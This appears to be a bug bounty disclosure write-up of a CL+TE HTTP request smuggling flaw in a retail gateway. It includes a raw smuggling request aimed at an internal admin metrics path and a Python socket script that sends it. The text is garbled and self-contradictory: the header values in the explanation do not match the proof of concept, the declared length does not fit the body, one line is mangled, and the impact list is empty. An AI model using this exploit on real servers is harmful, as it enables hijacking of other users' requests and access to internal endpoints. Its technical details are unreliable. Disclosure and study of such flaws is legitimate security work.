HTTP Request Smuggling (CL+TE Desync) — Yandex RetailTech
#Summary
During testing against Yandex RetailTech infrastructure, a discrepancy was identified between the edge reverse proxy and the backend HTTP application server. The frontend prioritised the Content-Length header while the backend processed the Transfer-Encoding: chunked header when both were present, allowing arbitrary request prefixes to remain unread on persistent HTTP connections.
#Technical Detail
RFC 7230 §3.3.3 specifies that if a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding header field MUST take precedence and the Content-Length field MUST be ignored.
However, the perimeter reverse proxy handled request boundaries using Content-Length, forwarding the entire payload without stripping or validating malformed Transfer-Encoding headers. When sending a dual-header payload with an obfuscated Transfer-Encoding: \x0bchunked, the frontend passed it as 6 bytes of body, while the backend interpreted the chunk boundary, leaving the trailing payload in the pipeline buffer for the next incoming request on the pooled TCP connection.
Attack Vector
Content-Length: 6 and Transfer-Encoding: chunked.0\r\n\r\n, terminating the first request, leaving the subsequent smuggled HTTP request as the prefix of the next victim's request on the same backend connection.#Proof of Concept
The following HTTP request demonstrates the desync trigger:
POST /api/v1/cart/sync HTTP/1.1
Host: retailtech-gateway.target.net
User-Agent: Mozilla/5.0 (Security-Research-Rafylabs)
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Transfer-Encoding: chunked
0
GET /admin/internal/metrics HTTP/1.1
Foo: xPython automated verification script:
import socket
import ssl
hostname = "retailtech-gateway.target.net"
context = ssl.create_default_context()
req = (
b"POST /api/v1/cart/sync HTTP/1.1\r\n"
b"Host: " + hostname.encode() + b"\r\n"
b"Content-Length: 44\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: keep-alive\r\n\r\n"
b"0\r\n\r\n"
b"GET /admin/internal/metrics HTTP/1.1\r\n"
b"Foo: x"
)
with socket.create_connection((hostname, 443)) as sock:
with context.wrap_socket(sock, server_hostname=hostname) as s:
s.sendall(req)
response = s.recv(4096)
print("Initial response:", response.decode(errors="replace")[:200])#Impact
An unauthenticated external attacker could:
#Timeline
All vulnerabilities documented here were reported through authorized bug bounty programs or official security contact addresses. Sensitive corporate assets, internal tokens, and customer data have been sanitized or omitted in accordance with coordinated disclosure guidelines.